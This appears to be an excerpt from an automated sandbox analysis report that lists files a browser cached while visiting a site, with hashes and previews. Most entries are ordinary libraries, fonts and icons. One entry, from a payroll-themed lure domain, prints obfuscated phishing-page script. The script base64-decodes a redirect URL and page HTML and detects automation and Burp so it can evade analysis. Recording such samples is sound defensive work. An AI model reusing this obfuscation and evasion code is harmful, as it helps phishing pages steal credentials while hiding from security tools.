Preview:	L..................F.@.. ...$+.,....k...~..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.INZ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VNZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VNZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VNZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VNZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........m./......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.015180654820676
Encrypted:	false
SSDEEP:	48:8DdvjTTbAHPidAKZdA14meh7sFiZUkmgqeh7sfy+BX:8JjzKnFy
MD5:	E157CA4574A6124D54BBEB23DE1A927B
SHA1:	6AD6528C1E1EAE92D0F83EF03E020850D35805CB
SHA-256:	44CB417C6188CB8A7D1E9E1C9D9B26B124B0E61EA6E738C7703368ECB7E3BAE1
SHA-512:	B93BEEF6F474E2CFED469E0FB544655FEE8C4D5DF8BBEFEC6747EA7005155B087E6211FA4FC03E57B27863EBD9C8E361EA4F79885EAFAE910D5CEF67EEC5CEDC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.INZ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VNZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VNZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VNZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........m./......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 14 15:22:53 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.005943651588308
Encrypted:	false
SSDEEP:	48:8NdvjTTbCfHPidAKZdA1TehDiZUkwqehty+R:8vjzCEHy
MD5:	7A4AA1DB76CA568192E56A03B6E3567B
SHA1:	037416BB9449674EEF8C083015957E46319A7FD4
SHA-256:	F338207C3191446CF6D97E4DF4A85B9105EE90E73FA7A81610755714FB389F3D
SHA-512:	B6E454EBCF78460EB9C7B10B804E3553448F3F3DE29B217C6645512CC1E863EF2F282FC8C65A5E3F12C96E0457C09FB3E47DE14CA0B52DCD1E8F3D35AEEDB092
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........~..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.INZ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VNZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VNZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VNZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VNZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........m./......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 14 15:22:53 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.990695597409585
Encrypted:	false
SSDEEP:	48:85dvjTTbCfHPidAKZdA1dehBiZUk1W1qeh7y+C:87jzCk9by
MD5:	B8ED8F8C90FDC254C67D0E03C02F01ED
SHA1:	CC3B918F455866C0E2A7B3E703CD6D0C903FFECF
SHA-256:	314EEF3B93060B726FD0A06A4E9C17C185842F99E7CE50353387FCAB7188F26A
SHA-512:	8E88AB603179EDCD24B8D464BF24E45B1E0470EA3A26A3A65038F8F0A9CCF8D297BFDB2233C355A50D41E80A007E90ED5575F71DF4E07A09D205920C2842D228
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....n4..~..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.INZ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VNZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VNZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VNZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VNZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........m./......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 14 15:22:53 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.002698204253378
Encrypted:	false
SSDEEP:	48:8tdvjTTbCfHPidAKZdA1duTeehOuTbbiZUk5OjqehOuTbFy+yT+:8PjzCWTfTbxWOvTbFy7T
MD5:	1693DB4B1068E70592B1C1F657F07244
SHA1:	A29A8535EAD3B58B5EC415DDCDBB3D3836301EA0
SHA-256:	325216077378B869D764EF78BC6AA37157827157E124D44E29130D8CA382531B
SHA-512:	DBB50E3556EC2F959084CA59E4200F997BA3E8961F86B5DB3FC7E4A6FE0F5518B51BBA6638FDFE015416B571D92941D57EA165FB6AB1DCB6D2ED63AC1B0D434B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....(U...~..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.INZ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VNZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VNZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VNZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VNZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........m./......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 42672, version 1.0
Category:	downloaded
Size (bytes):	42672
Entropy (8bit):	7.993551568828384
Encrypted:	true
SSDEEP:	768:pYHh9WEN+5jYuvlkL8sghJa1FQezYRRrz24Qrbfl1Qqs39bSuPTmN6NOZ5:2B9WgQjVKFQ4sIbrUB39uuKNqOZ5
MD5:	313C8623838A8F431E533AC98EBDD9AD
SHA1:	F0C53FFB6CD19E9AF37C7B60DF45C7C4E11AC796
SHA-256:	A29A97013AD393D493ACB1E33515D103C2F6A2CF6634250FAF7CC176720A6135
SHA-512:	247FAE49D012B7A710E64339FC9143D940342C03C31E8282C5FC51B1B8D9F912B583D5AB036A8D7A89EA612BD243F05C082CAFD055E744285F2F310140054DE1
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/dancingscript/v25/If2RXTr6YS-zF4S-kcSWSVi_szLgiuE.woff2
Preview:	wOF2..............T....=.................................J?HVAR.u.`?STATX'...:/L.....\|..Z..v.0..T.6.$..h. ........[.<q....3..5.[.4..n..q...,M.. (F.8..... ....M2f............gx.!S.0NY%.......c.!.R#.s\..Ht."BbyM...m0.V6..L......2...nre"...&....v.J..fd.T...6w+.8e]..."..d...z..2.._............g75.4Y...p-..Up.6....j............#......O\|i.B.Z!oU.M...2:30......,.z..../:....'..L.K2W......]b...=qv.#.....r1!..<.K.Qq.b.-..+@].F."P..W.~5..b<...4E.t._.<........1..C.B!.mJ..L.k]..N.Ru.P3....).$.#.{....9Z..........?...4Kt.7......u....u...m....!!.R...).. R...vy..t./..v8.....B8$.C..r.9.H..c{.m.c.7.w..6ME.G.(..Q..I... t........J.h......(!.%.2\|1......c....x..6.6+.....?Wd.x.&..3.h`....L.o......k.[.G...]$.11:'..v7..q.N.Ls...?.x.........\...bE}H.P..q.u..J;....{..g....no..a..tJ...I..........T..;......)...5`~..,..Z..s.%.."OK..G. ..2......=..c.`..Z.......?....u...&......x.R.:.X...............]._........jv.W...O.....l...."......Y...* ]UU.....tE.y6...$!..b^~Yi

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Reputation:	low
URL:	https://developers.cloudflare.com/favicon.png
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65241)
Category:	downloaded
Size (bytes):	382133
Entropy (8bit):	3.7730385684801035
Encrypted:	false
SSDEEP:	1536:SdXPerS8kDTDpXX8KZdXPerS8kDTDpXX8K7LBUtLBUu:cF9Fn6f
MD5:	770C30CA9E0C88433ADF56CEC0EFEC39
SHA1:	218E01E59D4B73F5684A936F20B6A539C9488ACE
SHA-256:	B7EA9B3E1C7EAEA933D3E157DC1DDC5A143194CB66543AE76D987E05D77C18BF
SHA-512:	B50DC688CE8ACEFC650AD0AA44FB1AA657F2F5E5A839F1F186243D94418DB2A2521BBAF669DF6CE7E6D2CF58EEFD34011EB5488881501576F5A22959159B00FE
Malicious:	false
Reputation:	low
URL:	https://payrollfaxdocs-shared-employid6237262721.deliberate9.com/qZwIOJI7cJMcfTGYSTk/
Preview:	Successful people do what unsuccessful people are not willing to do. Don't wish it were easier; wish you were better. -->..<script>..ICoXmYePVP = atob("aHR0cHM6Ly9Udi5kZWxpYmVyYXRlOS5jb20vcVp3SU9KSTdjSk1jZlRHWVNUay8=");.pYcCZGhrWM = atob("bm9tYXRjaA==");.if(ICoXmYePVP == pYcCZGhrWM){.document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPgogICAgPHNjcmlwdD4KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7CiAgICAgICAgd2luZG93LmxvY2F0aW

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2598
Entropy (8bit):	5.38821998669564
Encrypted:	false
SSDEEP:	48:ccOEaJ/eaOEaHg/FJc+uoOEajN0xAcOpaJ/eaOpaHg/FJc+uoOpajN0xD:ccOEaJXOEaAtJc+uoOEajNDcOpaJXOpo
MD5:	7A18E3A7F0D3F68ACC4D62BA60B28935
SHA1:	9B1FC0392AB2EDF797D8956EA77DAF088D2B883E
SHA-256:	029DE8D59985B047F1487F4317514761360D1B6FFDD40586C630508B6DE0AC41
SHA-512:	B238ABF24D9D8A63A06C62E0BBE1CF48B9CFCD967544005E66B48A1CC71A1DA9CF58DAF31A1150980C5CD3B976AE35CFC52D92B855C84503AEFE385D5CC3334B
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Dancing+Script:wght@400;700&display=swap
Preview:	/* vietnamese /.@font-face {. font-family: 'Dancing Script';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/dancingscript/v25/If2RXTr6YS-zF4S-kcSWSVi_szLviuEViw.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext /.@font-face {. font-family: 'Dancing Script';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/dancingscript/v25/If2RXTr6YS-zF4S-kcSWSVi_szLuiuEViw.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Dancing Script';. font-style: normal;. font-weight: 400;. font-display: swap;. src

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48138)
Category:	downloaded
Size (bytes):	48139
Entropy (8bit):	5.399746609631708
Encrypted:	false
SSDEEP:	768:nCbU/CNu5h5taq75KvO0fV9/KFeWlzQylfTDjVsgVX2bwDBslY1L8ep7K1oiSJvU:4Nu5h5taq7gGYV9yjcylh2bQs3
MD5:	59306E15EB43DE76A56231E5E426EC80
SHA1:	7606B8E4AEACE12B393AD6DCEBDF6D64BC7240E9
SHA-256:	69865FE9BE4F6CDCED3CA8C047A486DB063F1179846F5EDFF395C39A7494FA34
SHA-512:	99C5EE7567FECB0FD92C4622EE949975972FC46E165AA8E9FF719B3A64472F15E6A79EC83CA533C7305B70B35984B7980AC0552CE1169DBD1DC2C3C1F2D83F4B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/324d0dcf743c/api.js
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function g(s){Ht(l,o,c,g,h,"next",s)}function h(s){Ht(l,o,c,g,h,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function De(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return 